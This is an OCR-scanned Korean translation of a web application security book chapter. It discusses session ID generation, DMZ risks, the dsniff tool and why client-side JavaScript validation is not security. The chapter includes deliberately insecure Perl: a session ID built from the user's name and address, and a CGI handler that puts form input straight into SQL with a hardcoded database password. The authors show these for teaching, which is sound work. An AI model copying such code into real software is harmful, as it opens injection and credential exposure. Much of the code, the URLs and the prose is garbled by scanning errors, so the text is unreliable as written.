수는 있지만 엄격한 코드분위기속에서는 펼수품들과 외부의 규칙적인 영향력을 재리용하 
므로 세부적인 작업능력과 창조적인 《정력》들을 실제로 키울수 없다. 그동안에 자기 
작업환경 에서 보다 유연성을 키운 코드작성 자는 잘 째 인 강력한 프로그람을 만들기 위 하 
여 어떤 다른 사람의 코드를 역시 리용할수 있다. 차이점은 어디에 있는가? 차이를 나타 
내는 구별선은 아주 희미하다. 즉 차이는 맞다든 제품조종이 개 발자의 권한밖에 있다는 
것을 명령하는 이 바깥영향력들에서 보통 생긴다. 우리는 이것을 충분하게 다시 서술할 
수 없다. 왜 냐하면 특히 개 발자들이 자기 주견들을 말할 때 코드의 재리용은 아니고 나 
쁜(혹은 최소한 준최량적인) 코드의 재리용이 론의점으로 되기때문이다. 이것은 객체지 
향프로그람작성을 놀음으로 되게 만든다. 이것은 우리에게 재리용가능한 코드와 모둘프 
로그람작성을 허용한다. Perl 를 참조언어로 다시 한번 리용할 때 여기서 모둘프로그람작 
성 이 옳았다는것을 알수 있다. 

_ 

Perl 은 경험이 많고 명성이 높으며 항상 아량 있는 개발자들로 이루어 진 담보 
된 협 회 에 의 하 여 만 들 어 졌 다 . 이 협 회 의 핵 이 CPAN (Comprehensive Perl 
Archive Network ) 인데 이것 을 http :/ / Serach.cpan . org 를 통해 호출할수 있다. 
이것은 생각하는 임의의 과제를 훌륭히 완수할수 있게 하는 Perl 모둘들의 자선시장 
이다. 


실례는 우리를 대화조종 ( Session ) ID 라는 궁지에 빠지게 한다. 우리는 최근에 보안 
방법으로 어떻게 대화조종 ID (식별자)들을 통과하겠는가 하는 론의들을 자주 목격한다. 
HTTP 는 국적 없는 규약인데 (이것은 더는 지루한 접속이 봉사기와 의뢰기사이에 존재하 
지 않는다는것을 의미한다.) 우리는 대화조종들을 알맞게 유지하는 문제와 맞다든다. 이 
것은 봉사기측 응용프로그람이 접속을《상기》하게 하여 폐지가 요구될 때마다 봉사기 
에로 다시 보내지는 정보의 유일한 비트를 의뢰기로 흔히 통과시켜 수행된다. 비법적인 
개 인에 의해 잡히거 나 재 리용될수 없게 대 화조종 ID 를 복종시 키 는 3가지 방법 이 있다. 
매 양식 폐 지 들에 그 마당을 배 치 함으로써 숨긴 양식 마당의 값을 기 억할수 있 다. 그것 은 
우리가 URL 다음에 대화조종 ID 를 붙일수 있으며 혹은 Cookie 를 리용할수 있기때문이 
다. 일 부 자리바꾸기 들과 주의 들은 대 화조종 ID 가 URL 내 에 있 다면 참조자로서 가입 등 
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록하는 ID 에 위험이 있다는것을 론의하게 한다(이것은 많은 느낌이 Cookie 쪽으로 향한 
다는데 모순된다). 그러 나 론의는 그것 이 시 작되 자마자 많은 의견상의를 가지 고 끝났다. 

코드파괴 자는 자기의 응용프로그람을 위한 대화조종 ID 를 만드는데 리용된 자료를 
위 장시 키 기 위하여 그림 2-2 에서 보여 준 실례 를 리 용할수 있다. 


$ name =$ FORM ( ‘ name ’ ); 
$ address -$ FORM ( ‘ address ’ ); 
$ id = “$ name ” ' “$ address ” : 


그림 2-2. 코드파괴자 대화조종 ID 복종 


보다 경험 있는 프로그람작성자는 그림 2-3 에서 보여 준것처럼 둘중의 하나를 선택 
할수 있다. 


use Apache : : Session ： : Generate ： : MD 5 
$ id = Apache :: Session :: Generate :: MD 5 :: genarate ( ) 

그림 2-3. 둘중의 하나를 선택하는 대 화조종 ID 복종 


그러면 어느 코드가 더 좋은가? 대 답은 명백 하다고 본다. 

첫번째 방법은 순전히 일부자료를 서 로 XOR 하며 두번째 방법은 비 가역자료렬을 창 
조하기 위하여 암호화된 하쉬함수를 리 용하는데 이 경 우에 는 MD 5 알고리 듬을 사용한다. 

이것은 우연수의 2단 ( two - round ) MD 5, 새 기원 ( epoch ) 으로부터의 시간, 공정 ID 
그리고 저자불명 인 하쉬를 리 용하여 수행 한다. 구체적 인것은 http : // Search , cpan .om 
Moc / JBAKER / Apacjhe - Sessipn - l . 5^ essic 的 / G 受 rt 貧受, pm 을 보시오. 우리는 이 
방법 이 훨씬 더 보안적 이 며 우리 의 대 화조종 ID 를 역 해 석할수도 없고 우리 의 자료를 공 
격 하는데 도 리용할수 없다고 전적 으로 확신한다. 그러 므로 우리 는《 암호화함수를 모의 
하기 위해 XOR 와 같이 간단한 어떤것 에 의존할것은 하나도 없다.》라고 말하기전에 명 
심 할것 이 있 다. 즉 SQL Server 7용 Microsoft Enterprise Manager 는 파일 에 그것 을 
기 억 하기 앞서 가입 등록 ID 의 통과암호를 감추기 위한 간단한 XOR 를 리 용한다는것 을 
명심해야 한다 ( http ：// ciac . llnl . gov / ciac/bulletins / k ~026. shtml ) . 

그렇 다. 우리는 그것 이 적당한 러유들로 하여 오래동안 써온것처 럼 모둘프로그람작 
성을 완전히 지지한다. 그러나 이것은 결코《나는 이것을 어떻게 완성할지 모른다. 따 
라서 나는 어떤 다른 사람의 코드를 리용할것 이다.》라는 리유의 결과로는 안될것 이다. 
또한 가장 나쁜것은《내가 그것이 공격을 위한 약점이라고 책임자에게 말했는데도 그는 
나에게 이 코드를 리용할것을 명 령 하였다.》는것 이 다. 대신에 원인은 다른 사람의 코드 
가 문제거리에 대한 완전한 해결책을 제공한다는것 그리고 세세한 심사를 검사 받은 그 
것을 우리가 믿는다는것을 인정한 결과여 야 한다. 
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제 3 절. 코드파괴자의 관점에서 본 보안 


코드파괴자한테서는 보안이 반드시 차후 생각으로 되고 있다. 우리는 제한된 틀에서 
일할 때 자기 환경에 익숙하기 위하여 최대한의 모든 노력을 다 한다. 즉 보안이 어디에 
관계 되 는가를 살피 는데 이것은 대 단히 나른 일 이 다. 

실례로 앞절에서 본 대화조종 ID 실례에서는 무엇이 감시대상으로 되고 있는가? 제 
일 첫번째 암호화 ( encryption ) 이다. 자료를 암호화하면 더는 람지할것이 하나도 없다. 
첫째 가는 임무는 우리 가 근심 하는 임의것 에 대 한 철저 한 보호이다. 따라서 암호화로 나 
갈것이다. 암호화는 명백한 신용카드번호들과 다른 개인 및 금융정보를 비롯하여 고객의 
이름들과 주소들을 포함할것 이 다. Web 관련응용프로그람의 가입등록 ( login ) 으로부터 가 
입 삭제 ( Logout ) 에 이 르기 까지 모든것 이 암호화되 여 야 한다. 지 금 주의 를 그토록 끄는 
보안소케트층 ( SSL:Secure Sockets Layer ) 의 사용가능성과 함께 설계에서 암호화를 빼 
놓는것은 용서 받지 못할 일이 다. 우선 GET 방법을 리용할 때 (거기서는 자료가 URL 에 
불는다.) 대화조종정보를 여전히 등록할수 있다. 하지만 이것을 반드시 하려고 관심을 
둔다면 GET 방법을 리용할 필요는 없다. 

두번째 대 화조종 ID 를 론의하는 많은 관계 자들은 대 화조종 ID 를 보호하는데 집 중하 
면서도 어떻게 하면 그 ID 를 창조하겠는가에 대해서는 너무나도 관심을 적게 돌리고 있 
다. 이것은 비록 보잘것 없는 문제처럼 보이지만 대단히 큰 의의를 가지고 있다. 이에 
대 하여 생 각해 보자. 즉 만일 누군가가 우리 의 대 화조종 ID 중의 하나와 타협하려 고 하 
고 누군가의 정보에 접근하기 위 해 그 ID 를 재 리용할수 있다면 우리 한테는 그에 대 하여 
매 우 근심하는 고객 이 생길 것 이 다. 특히 그들이 그 대 화조종 ID 를 창조하는데 리 용된 
기 구를 역 해 석한 다음 모든 고객 자료에 접 근할수만 있 다면 우리 는 궁지 에 빠질 것 이다. 
이 러한 돌파구들은 회복하기는 매우 힘들며 흔히 사무(일감)의 끝을 의미한다. 

코드파괴자들이 보안에 대하여 조금이 라도 생각한다면 그는 누군가가 다른 사람이 
보안에 주의를 돌린다는 생각을 충분히 할수 있다. 간단한 비무장지대 ( DMZ : 
demilitarized zone ) 를 가진 Web 관련봉사기를 그림 2 - 4에서 보여 준다 

그림 2-4 의 Web 봉사기는 여기서 매우 일반적인 내부자료기지봉사기에로 접근한다 
는데 주목하자. 많은 회사들은 회 사전화번호책 혹은 DMZ 를 대 신하는 망고유의 령역들 
속에 일반적으로 남아 있는 기타 정보들에 고객들을 접근시키려고 한다. 그러므로 회사 
가 DMZ 를 확립했다고 하면 여 기 에서는 내부망때 문에 진땀을 뽑는 일 이 생 긴다. 실천적 
으로 이러한 확립은 좋은 생각이 못된다. 그러나 때때로 위험을 롱가하는 필요성이 제기 
될수 있다. 해커는 어떻게 이것을 채용할수 있는가? 실지 쉽게 할수 있다. 개발자가 주 
시 해 보는것 이 란 망에 로의 문이 그 어 떤 사람소유의 프로그람에 의하여 크게 열 려 졌는 
가를 살피는것이다. 해커는 단순히 이 Web 응용프로그람내의 코드가 자기에게 무엇인가 
하게 한다고 추측하고 코드를 다치며 그것을 람용하기 시작한다. 앞으로 제6장에서 이것 
을 어떻게 하는가를 보게 된다. 

격리된 상태에서 3드작성 

코드파괴 자들을 멀 리 하는 상점 에 서 한가지 가장 나른것 이 있 다면 그것 은 보통 쏘프 
트웨어를 면밀하게 검사하지 않는다는것이다. 그들이 응용프로그람의 매 함수들을 흙고 
매 단추와 차림표，마우스동작들을 검사하고 있다고는 하지만 보안을 살피고 있는가? 엄 
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격한 검사는 시간과 노력 그리고 기교를 요구한다. 바로 이것을 초기설계작업이 수행한 
다. 이 두가지는 다 보안과 기능을 위한 매우 중요한 걸음들이지만 둘 다 자주 주의 깊 
게 감시되지 않거나 무시되고 있다. 왜 그런가? 그에 대하여서는 이것을 생각해 보자. 
만일 프로그람작성집 단이 그것 이 충분하다고 느끼는 코드의 확고한 일부 부분들을 가지 
고 있다면 그들은 개 발된 마지막 10개 응용프로그람에서 코드가 모두 같다는 전제조건에 
준한 매 대상과계에 대한 검사회피를 정당화할수 있는가. 만일 이 검사 안된 응용프로그 
람들이 깨끗하게 동작한다면 이것은 너무나도 우연한 일치일것이다. 





그들이 감시하는것이란 프로그람자체내에 있는 복잡한 Web 접속들이다. 바로 그 코 
드의 큰 덩어리주위에서 어떠한 쓰임이 새롭게 만들어 지는가. 얼마나 많은 말썽거리 
( kludge : 각 구성요소가 서로 맞지 않게 설계가 잘못된 콤퓨터체계를 이루는 말)들이 이 
응용프로그람에 쾌기를 박기 위해 코드에 삽입되였는가. 코드파괴자에 의해 리용된 보다 
많은 코드는 오직 하나의 입구루린 (input routine ) 과 하나의 출구되돌림을 가진 단순한 
《검은통》이 아니였다. 많은것은 일반목적을 위한 일거리, 입구에 따라 여러 일을 완수 
할수 있는 코드일것이다. 검은통은 잡동사니를 넣는 상자로 방금 변화된듯이 출발할수 
있는데 바로 이것이 문제거리들을 일으키는 발생근원이다. 이 코드를 리용하는 프로그람 
작성 자는 자기가 사용하려는것과 관련된 모든것을 알아 볼 펼요가 있다. 프로그람작성자 
들이 명확한 비표준검사들을 하자고 문의할 때 회사들은 그들의 말을 귀담아 듣을 필요 
가 있다. 가장 굳어 진 개소가 우리들속에서는 별치 않지만 해커들의 사고방식에서는 흥 
미를 돋굴수 있다. 많은 사람들은 자기들의 코드가 보안위험을 내포하고 있다는것을 알 
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아 차렸다면 벌써 그 위험을 되치하였을것이다. 실지위험은 알지 못하지만 그렇다고 해 
서 그것을 퇴 치 못할 러유는 하나도 없다. 

또한 검은모자집단이 리용할수 있는 서고들에 대하여 무엇인가 학습한 사람들을 조 
사하고 있는가. 혹은 어떤 다른 외부사람이 프로 그람에 무엇인가를 바꾸어 넣지 않았는 
가. 아마 구조화된 질 문언어 ( SQL ) 자료기 지 나 기 초로 되 는 Web 봉사기 에 서 새 로운 바그 
가 발견되였을지도 모른다. 역시 어떻게 하면 보안이 프로 그람바깥의 요소들에 의해서 
개선되겠는가. 문제를 푸는 비프로 그람적인 방법들의 큰 실례가 AOL(America online ) 
에 의해 게재되고 있다. AOL 은 전자우편을 보내는 사람과 관련된 문제거리와 다른 사 
용자들의 화면이름과 통과암호들을 모으는 대가로 인한 긴급통보문들과 관련한 문제거리 
를 가지고 있다. 이 문제거리를 푸는 해결책은 AOL 전체 직원들이 임의의 주위환경에서 
이 정 보분류를 위 해 사용자들에 게 문의할것 은 전혀 없 다는것 을 그들에 게 경 고하는 간단 
한 통보문이였다. 이것은 완전한 해결책이였으며 그것은 총적으로 프로 그람작성령 역밖에 
있었다. 

그러면 왜 이러한 작용들을 고찰하여야 하는가? 바로 한가지 실제 리유는 dsniff 
( www . monkey . org /^ dugsong / dsniff ) 라고 부르는 도구인데 이것은 남몰래 사용자들 
을 위한 봉사기를 인증하기 위해 리용된 증명서들을 위조하며 DNS 응답들을 속일수 있 
는 강력한 공격도구이다. 두사람이 나란히 타는 자전거에서 리용된것처럼 공격자는 당신 
의 Web 싸이트로 가는 통신망에 새치기할수 있으며 자기가 가지고 있는 봉사기에로 그 
통신망의 방향을 바끌수 있다. 실제로 령리한 공격자는 인증신임장들을 모은 다음 노리 
는 목표들에로 차례로 접속들을 해나가면서 《다시 시도하라 (try again )》 는 오유를 발 
생시킨다. 당신은 프로그람작성에서 아무때나 이것을 중지시킬수 있는가? 아마 중지시킬 
수 없을것 이 다. 그러 나 이 것은 공격 자들이 자기들이 원하는것 을 얻 기 위해 보안주위를 
항상 맴돌수 있다는 좋은 실례로 된다. 


제 4 절. 기능적이고 보안적인 Web 응용프로그람구축 


이 절은 당신이 익숙되지 않은 과제에 놓여 있을 때 많은 프로그람작성자들이 이미 
거친 공정을 따르게 할것이다. 실례로 우리는 Web 개발을 위한 가장 일반적인 언어인 
Perl 를 리용한다. 우리가 Perl 를 선택한 원인은 이 언어가 보안이 잘된 Web 응용프로그 
탐들을 만들기 위한 충분한 담보를 주기때문이다. 그러나 역시 이 언어를 가지고 나쁜짓 
을 하기도 대 단히 쉽다. 그것들을 완전히 기능적으로 만드는 동안 우리는 실례들에서 요 
점 이 보존되도록 하면서 코드의 일부 행들에서 많은것들을 할수 있다. 우리가 비록 CGI 
스크립트로서 이것을 작성한다 할지라도 여기서 배운 똑 같은 수법들이 임의의 의뢰기와 
봉사기체계에서 응용된다는데 항상 주의하시오. 우리는 그림 2-5 에서 보여 준 기초적인 
Web 양식 을 가정한다. 


<html> 

<head> 

<tWle>Bland demo form</title> 

〈script language: “TavaScript” > 

// Check for email address：look for [8] and 
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function isEmail(elm) { 
if (elm.value.indexOf (“ 9”) != “-1” && 
elm. value. indexOf(“.”) != “-1” && 
elm. value != “”) 

} 

// Check for null and for empty 


function isFilled(elm) { 
if (elm. value == “”| | 
elm. value == null) 
return false : 
else return true； 

} 

// Check for correct phone number format 

function isPhone (elm) { 
var elms 比 | @lm. value + 
if (elmstr.length! =12) return false; 
for (val i = 0；i, elmstr.length； i++) { 
if ((I <3 && I > -1) | | 

(I >3 && I < 7) || 

(I >7 && I < 12)) { 
if (elmstr. char At (0 < “0”| | 
elmstr. char At (i) > “9”) return false； 

} 

else if (elmstr. char At (i) != return false; 

} 

return true； 

} 

function isReady(form) { 
if (isEmail (form. Tf_l) == false) { 
alert (“Please enter your email address.”; 
form. Tf_l. focus 0 ; 
return false； 

} 

if (isFilled(form.Tf_2) == false) { 
elert(“Please enter your name.”; 
form. Tf_2. focus 0 : 
return false； 

} 

if (isPhone (form. Tf_3) == false) { 

elert (“hone number should be xxx-xxx-xxxx. 
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form. Tf_3. focus 0 ； 
return false； 

} 

return true； 

} 

〈/script〉 

</head> 

〈body bgcolor= “White” text= “Black” link= “Blue” 

<h2 align: “center”〉Welcome to the wonderful world of CGI</h2> 

〈form method= “POST” name= “demo” onSubmit= “return isReady (this)’ 
action= “./cgi - bin/demo，，> 

〈table border= “0” width= “100%，，〉 

<tr> 

<td width= “25%” align: “right”〉Email address ：</td> 

<td width= “75%，， align= “left，，〉<input type= “text” name= “TfJ” 
size= “32，， maxlength= “32，，></td> 

</tr> 

<tr> 

<td width= “25%，， align= “right”〉Name:</td> 

<td width= “75%” align: “left，，〉<input type: “text” name: “Tf_2” 
size= “20” maxlength= “30，，></td> 

</tr> 

<tr> 


<td width= “25%” align= “right”>Telephone Number (optional) ；</td> 

<td wid 比 i= “75%” align= “left”<input type= “text”name= “f_3” size=“12” 
maxlength= “12，，〉</td> 

</tr> 

<tr> 

<td width= “25%，， align= “right” Comments ：</td> 

<td wid 比 i= “75%，， align= “left，，><textarea wrap= “physical” 
name= “Ta_l” rows=5 cols=20 ></textarea><td> 

<tr> 

<td><input type= “submit” value: “Search’’></td> 

</tr> 

〈/table〉 

</form> 

</body> 

</html> 


그림 2-5. Web 양식 시작하기 
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여기에는 특별한것이란 아무것도 없으며 보안이 확고히 된것도 없다. JavaScript 의 
포함이 란 무엇 인가. 보안을 양식 ( form ) 에 첨부하는것은 하지 않는가. 사실 그렇 지 않다. 
이 JavaScript 가 매 우 보편적 이라는 바로 그 리 유로 하여 우리 는 그것 을 포함한다. 많 
은 사람들은 사용자가 요구되는 마당들에 자료를 입력시키고 있다고 잘못 믿고 있으며 
지 어는 일 련의 약한 형 식 화 ( format ) 검 사가 보안을 강행하는것 이 라고 틀리게 생 각하고 
있다. 적지 않은 기술일군들은 보잘것 없는 적은 노력을 들여 JavaScript 를 사용할수 
없게 만들수도 있다. 또한 많은 회사들은 방화벽에서 JavaScript 와 ActiveX 같은 능 
동스크립트작성을 려과하며 일부 사람들은 그것을 전혀 지원하지 않는 열람기들을 리용 
한다. 

우리는 JavaScript 가 보안수단으로서가 아니라 사용자의 편리를 도모하는 수단이라 
고 생각한다. JavaScript 는 의뢰 기열 람기 에서 실행되 기때문에 그것은 Web 봉사기로부터 
의 응답을 기 다림 이 없 이 양식자료의 즉시 적 인 타당성확인을 허 용한다. 하지 만 그것은 
의뢰기의 기대우에서 달리기때문에 모든 주장들을 그만 둔다. 우리는 일반적으로 의뢰기 
의 기대가 총적으로 자기의 조종밖에 즉 그들의 조종내에 있다는것을 항상 명심해야 한 
다. 그들은 자료를 가지고 자기들이 원하는 아무것 이 나 다 할수 있다. 우리는 항상 자료 
를 가지고 아무것이나 하기전에 봉사기에 있는 양식자료를 검증할것 이 다. 착오나 인쇄오 
자를 낼수 있는 사용자들에게 이 JavaScript 는 재빨리 그것들을 경고할것 이며 그것들을 
번갈아 혹은 둘 다 기 억 할것 이 다. 비 법적사용자들 혹은 JavaScript 를 무력하게 만들수 
있는 사람들에게 우리는 여전히 자기 자료가 건전하다는것을 확신시키려고 한다. 

그러므로 그림 2-5 에서 보여 준 우리의 Web 양식을 가진다. 이제 우리에게 필요한 
것이란 양식 취급자 ( handler ) 이다. 이것은 CGI (Common Gateway Interface ) 에서 온것 
이 다. 우에서 이미 본 입구를 모으는 짧은 Perl 프로그람을 가지고 출발하자. 

이제 출발하면서 우리가 코드의 일부 행들을 빼놓은것에 주의를 돌리시오. 역시 우 
리 가 집 합시 킨 자료를 어 디 엔가 넣 어 둘 필요가 있기때 문에 우리 는 그것 을 단순한 
MYSQL 자료기지에 넣는다. Perl , ColdFusion , PHP , ASP , C / C ++ 등은 모두 자료기 
지 에 접 속하여 자료기 지 와 대 화하는데 서 대 단히 좋은 언 어 들이다. 신진 Web 응용프로그 
람개발자는 이미 간단한 SQL 문장들과 친숙해 졌을수 있는데 그것들모두는 그가 이 실 
례들을 리해하기 위해 필요하다. 

간단화를 위하여 Perl 실례들에서 코드의 첫 몇개 행을 그림 2-6 에서 보여 준것처럼 
읽도록 가정한다. 



use strict 

use CGI gw /: standard /: 
use DBI 

use CGI ： : Carp gw/fatalsto Browser / : 


그림 2-6. 입력모으기 


모든 코드실례들은 체계에 관해 콤파일한 Perl 5.005_03과 함께 Solaris 8을 달리는 
Sun Microsystems Enterprise 250기대에서 검사되였다. Web 봉사기는 Apache 1.3.14 
였 다. 
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우리들속에 새로 끼여 들어 온것들을 보면 그림 2-6 에 있는 코드의 첫행은 Perl 분석 
기 를 찾기 위하여 쉴 ( Shell ) 을 부론다. 다음 4개 행 은 우리 에 게 보다 쉬 운 활동을 주기 
위 한 일부 다루기 쉬운 모둘들을 수입 한다. 이것들가운데서 가장 중요한것은 간단화측면 
에 서 볼 때 링 컨 스레 인 (Lincoln Stein ) 에 의 해 개 발된 CGI . pm 모둘이 다. CGI . pm 은 
우리에게 paramO 함수를 주는데 이것은 빙빙 에도는 알기 어려운 말투 ( gobbledygook ) 
의 필요성 을 없애 버린 다. 우리 는 자기 가 처 리 하는것 처 럼 얼 마나 그것 을 리 용하기 가 쉬 
운가를 보게 될것이다. 여기에 그림 2-7 에서 보여 주는 우리의 첫 시도가 있다. 


Print header ； 

my $first = param ( ); 

my $second = par am ( ‘ Tf _2，); 

my $paragraph = param ( ‘ Ta _ l ’ ); 

my $statement = “UPDATE demo SET 
first = " first ’， 
second = ‘ second ’， 
paragraph = ‘ paragraph ’ 

my $dbh = DBI -> connect (‘ DBI : mysql : demo ’，‘ User ’，‘ Pass ’); 

my $ath = $dbh -> prepare ( Sstatement ) : 

$sth -> execute : 

$sth -> finish ； 

$dbh -> disconnect ; 

print “ Wow , it worked ” 


그림 2-7. param ( ) 함수 


물론 이것은 흥미를 끈다. 우리의 첫 시도가 기적적으로 동작한것만 갈다. 여기에 
우리 가 실례 에 대 하여 지 적하려 고 하는 결 함이 있는데 그것은 우리 가 자료기지접속 
CONNECT 명 령 문에 사용자이 틈과 통과암호를 특별 히 포함시 켰 다는것 이 다. CGI 개 발을 
위해 리용된 많은 언어들이 콤파일식보다도 해석식이기때문에 이것은 명백히 하려는 가 
장 좋은것 이 못된다. 우리는 GRANT 명령문의 심중한 사용을 통해 통과암호를 포함시킬 
필요성을 완화시 킬것 이 다. 명백한 기능에 대 하여 많은 프로그람작성 자들은 흔히 하나도 
류의할것이 없다고 생각하면서 옳게 찾아 져야할 통과암호를 버리러는 경향이 있다. 이 
것은 아마 우리가 이 프로그람에 대한 부분적변경들을 통해 변화시키려고 하는 어떤것일 
것이다. 

우리의 정직한 고백은 우리의 첫 시도가 실패하였다는것이다. 우리는 Web 프로그람 
작성을 처음할뿐아니라 역시 Perl 에 처음이기때문에 일반적인 착오를 범했다. 우리는 
Web 의 뢰 기 들과 고유하게 통신하기 위한 알맞는 CKI 머 리 부 ( header ) 를 포함시 키 는것 이 
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필요하다는것을 모르고 있었다. 우리는 이것을 새로 들어 온 많은 CGI FAQ (흔히 제기 
되는 문답)들가운데서 하나를 재빨리 들여다 봄으로써 자기 프로그람에 행 print 
header 를 포함시켜 야 한다는것을 알았다. 이 방법은 우리가 이 프로그람에서 리용하는 
CGI.pm 모둘에 의하여 제 공된 편리 하고 손 쉬운 많은 방법들의 하나일 따름이 다. 

우리는 이렇게 이미 하였는가. 지내 랄선하지는 않았다. 

그러나 나의 a 드는 기능적이다! 

코드는 기능적이라고는 하지만 보안되였는지. 우리는 바로 코드가 채용될수 있는 
가능성 이 있을수 있는 분야들에 대하여 검사하였는가. 코드는 완전히 기능적 일수도 있 
으며 보안 안될수도 있다. 하지만 예견치 못한 상태들이 있다면 그것은 무엇인가. 응용 
프로그람을 설계할 때 사용자가 입구에 비법적인 자료를 주었다면 무엇이 일어 나겠는 
가를 고찰하였는가. 우리는 자료완전성을 얼마나 믿는가. 이보다 더 많은것들이 고찰되 
여 야 한다. 

많은 회사들이 응용프로그람들에 대한 기능적 인 검사를 마지 못해 시도하고는 있지 
만 그 검사를 실현할 때 보안관련에 얼마나 많은 주의를 돌리고 있는지. 어디서부터 시 
작하여 야 하는가는 알고 있는지 . 그것 이 론의점 이 라는것을 얼마나 체득하고 있는지 . 우 
리의 실례프로그람은 기능시험을 겨우 통과할수 있지만 보안측면에서 볼 때 놓친것이 많 
을수 있다. 따라서 놓친 그것이 우리의 일을 망쳐 버릴수 있다. 

첫째로，우리는 아무러한 설명문들을 포함시키지 않았다. 비록 실례가 오직 고안해 
낸 실 례 프로그람 ( demo - program ) 일 지 라도 설명 문을 붙이 는것 은 보안과 기 능면에 서 볼 
때 반드시 하여야 하는 매우 중요한것이라고 생각한다. 우리가 석달 지나면 즉시에 리해 
할수도 없는 일부 피상한것들을 포함하는 2000행이 넘는 비교적 긴 CGI 관련프로그람을 
작성 하였 다고 보자. 그렇 다면 그 피 상한것 이 복잡한 규칙 적 인 표현식 이였겠는가 아니면 
일부 다른 심오한 입구유효성방략이였겠는가? 또한 방조자가 루린을 마스고 고유한 기능 
을 중지시 켰겠는가? 설명문이 없이는 코드를 전혀 리 해할수 없으며 그것으로 하여 나쁜 
일들이 일어 날수 있다. 

둘째로，우리는 입구의 유효성을 검사하는 방향에서 아무러한 작업도 하지 않았다. 
이것은 매우 나쁜 일이다. 우리는 사용자에게 프로그람에 보내려는 어떤것이든 할수 있 
는 가능성을 준다. 그러 나 우리의 론의는 자기의 Web 양식에 류의하면서 입구길이를 제 
한할것 이다. 지어 우리가 할수 있는 입구마당들의 최대길이특징을 리용하여 사용자가 정 
확한 양식들에 자료를 채워 넣고 자기들의 양식을 검사할수 있도록 일부 JavaScript 를 포 
함하였다. 그러나 이것들가운데서 아무거 나 다 보안수단이 라고 간주될수 있는것도 아니고 
오직 《사용자우정》으로 준 뢰물만이 보안수단으로 간주될수 있다는것을 명심해야 한다. 
아무거 나 다르게 생각하는것은 낡은 코드파괴 자의 사고방식에로 되돌아 가는 길이 다. 

우리 는 Web 관련 GUI 를 거 쳐 관리 되 는 행암호화장치 (가상적 인 내 부망 즉 VPN 들을 
창조하는데 리용됨)를 가지고 한번 일한적이 있다. 그의 약점은 임의의 설정들을 변화시 
키 기 위 해 매 장치 에 가입등록해 야 한다는것이 였다. 제 기된 문제는 이 요구를 재빨리 회 
피 하는것이 였 다. 우리 는 장치 하나를 엄 어 가지 고 그의 내 장속 깊 이 참견하기 시 작하였 
다. 다행히 모든 환경설치변경들을 하는데 perl 스크립트 즉 낡은 perl 스크립트들이 리용 
되 였 다. 이 장치 를 개 발한 프로그람작성 자들은 효과적 인 코드를 작성하는 길 로 나가지 
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않았으며 많은 일반적 인 보안위험들에 주의를 돌리지 못했다. 우리는 장치가 실현하고 
있는 실제적인 인증만이 Cookie 에 기억된 인증결과들과 관련한 간단한 사용자통과암호 
를 가진다는것을 알아 냈다. 

해결책은 무엇인가. 우리는 다양한 장치들을 그룹으로 련결하는 자료기지를 창조하 
는것으로부터 시작하였다. 리용한 암호화방법과 같이 확고한 특성들을 매 그룹이 공유하 
였기때문에 우리는 매 의뢰기에 곡 같은 통보문을 보냄으로써 한꺼번에 그것들을 변화시 
킬수 있었다. 그것은 배렬식으로 반복하는것처럼 간단하였다. 가령 우리가 기대의 외부 
IP 주소처 럼 모든 장치 들에 공통이 아닌 파라메터 들을 변화시 킬 필요가 있었 다면 우리 한 
테 는 언제 나 련관된 배 렬 이 있는것 이 필 요하였 을것 이 다. 이 것 은 기 대 에 코드기 지 (code 
base ) 가 있다는것을 리용한 매우 간단한 해결책이 였다. 한편 개 발노력들은 C 를 리용하 
여 완전히 기능적인 관리를 위한 GUI 작성에 열중하고 있었는데 이것은 여러달 걸릴것으 
로 타산되였다. 우리는 다행히도 동작하는 견본을 엄을수가 있었으며 며칠간 거기에 시 
간을 바쳤다. 

우리는 지어 관리응용프로그람과 장치사이에 오가는 자료를 암호화하는데 SSL 을 리 
용하여 그것들에로 가입등록하거 나 그것들의 Web GUI 를 리용하지 않고 장치들을 관리 
하는 방법을 만들었는데 그것은 체계설계자들도 전혀 생각을 가지지 못했던것이였다(우 
리는 그들에게 문의했으나 그들은 몰랐다). 이것은 보건대 쉬우면서도 빠른 해결책이였 
다. 이것은 창조적인 프로그람작성이 작성된 코드에 대하여 항상 하지 않는 한가지 최초 
의 실례이다. 흔히 그렇지는 않지만 한가지는 문제를 어떻게 취급하는가 하는것이다. 

아쉽게도 이 장치는 누가 거기에 접속되였는가에 대하여서는 전혀 조종할수 없었다. 
왜 냐하면 설계 자들이 관리 를 위 한 내 부 GUI 외 에 는 임 의 의 다른 의 미 들을 리 용한것 이 하 
나도 없다고 가정 하였기때 문이 다. 간단한 User Agent 들을 작성 하는 경험을 가진 사람 
은 일부 약한 인증을 우회하는 변화들을 만들수 있다. 즉 디스크공간은 제 한되 여 있기때 
문에 우리는 대 중적 인 TCP Wrappers 프로그람에서 찾다싶이 host.allow 파일 보다 더 
유력한 임의것을 수행할수 없었다. 

이 에 대 하여 수업 에 서 배 웠 는가? 자료는 검 증되 였 다고 믿 지 못하면(그리 고 그것 이 
변화될수 있는 가능한 매 걸음에서 검증되였다고 믿지 못하면) 임의의 다른것이 이 자료 
와 함께 수행 되 기 전에 우리의 운명 은 정 해 진다. 우리 는 Web 응용프로그람들을 작성할 
때 항상 한본새여야 하지만 그 본새가 곡 유일한것은 아니다. 이미 우리가 알고 있는것 
처 럼 그것은 고유하게 동작하는 응용프로그람에 대한 당연한 기능과 자료검증보다도 더 
많은것을 취한다. 여기에 이 두 분야가 검사되고 또 검사된후 시험에 맡기는 총적인 차 
이가 있다. 

1) 기능보다도 더 큰것이 응용에 있다 

역시 응용프로그람보다 응용에 더 큰것이 있다. 앞의 소제목의 코드실례에서 우리는 
자료기지통과암호를 포함하였 다. 우리는 이것 이 실생 활에서 나른것 이 라고 설명하였지만 
그것을 하지 않는다기보다는 많이 한다고 생각한다. 왜 그런가를 리해하지 못한다면 가 
장 보편적인 Web 개발언어들이 를파일식이 아니라는것 그리고 그것들의 원천코드가 거 
의 나 항상 보호되 지 않고 있 다는것 을 상기해 야 한다. 가장 많은 기 초가르치 기 (intro 
tutorial ) 들은 허 용방식 755형 식 으로 제 공되 는데 (Unix 에서 ) 이 것은 체 계 에 있는 모든 
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것이 파일을 읽고 실행할수 있게 한다. 그것을 엄밀히 시험하자. 가령 Web 봉사기를 다 
루기 쉽다고 하면 보통 사용자로서 가입등록하고 Web 응용프로그람들에 대한 원천을 읽 
기 위해 시도해 보시오. 그것을 C 와 같은 콤파일식언어로 작성하였든 관계없이 그 파일 
들을 열기 위해 너무 애를 쓰지 않도록 할것이다. 

